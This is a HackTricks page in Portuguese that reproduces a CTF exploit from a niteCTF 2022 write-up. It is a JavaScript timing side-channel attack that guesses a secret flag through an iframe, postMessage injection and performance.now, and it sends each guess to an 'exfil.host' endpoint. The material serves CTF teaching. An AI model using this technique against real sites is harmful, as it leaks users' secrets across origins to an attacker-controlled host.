mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 20:43:29 +00:00
73 lines
3.4 KiB
Markdown
73 lines
3.4 KiB
Markdown
# performance.now exemplo
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
**Exemplo retirado de [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
|
|
```javascript
|
|
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
|
|
|
|
async function check(flag) {
|
|
let w = frame.contentWindow;
|
|
w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
|
|
await sleep(1);
|
|
w.postMessage({'op': 'search', 'payload': flag}, '*');
|
|
let t1 = performance.now();
|
|
await sleep(1);
|
|
return (performance.now() - t1) > 200;
|
|
}
|
|
|
|
async function main() {
|
|
let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
|
|
window.frame = document.createElement('iframe');
|
|
frame.width = '100%';
|
|
frame.height = '700px';
|
|
frame.src = 'https://challenge.jsapi.tech/';
|
|
document.body.appendChild(frame);
|
|
await sleep(1000);
|
|
|
|
let flag = 'nite{';
|
|
while(1) {
|
|
for(let c of alpha) {
|
|
let result = await Promise.race([
|
|
check(flag + c),
|
|
new Promise((res) => setTimeout(() => { res(true); }, 300))
|
|
]);
|
|
console.log(flag + c, result);
|
|
if(result) {
|
|
flag += c;
|
|
break;
|
|
}
|
|
}
|
|
new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
|
|
}
|
|
}
|
|
|
|
document.addEventListener('DOMContentLoaded', main);
|
|
```
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Suporte ao HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|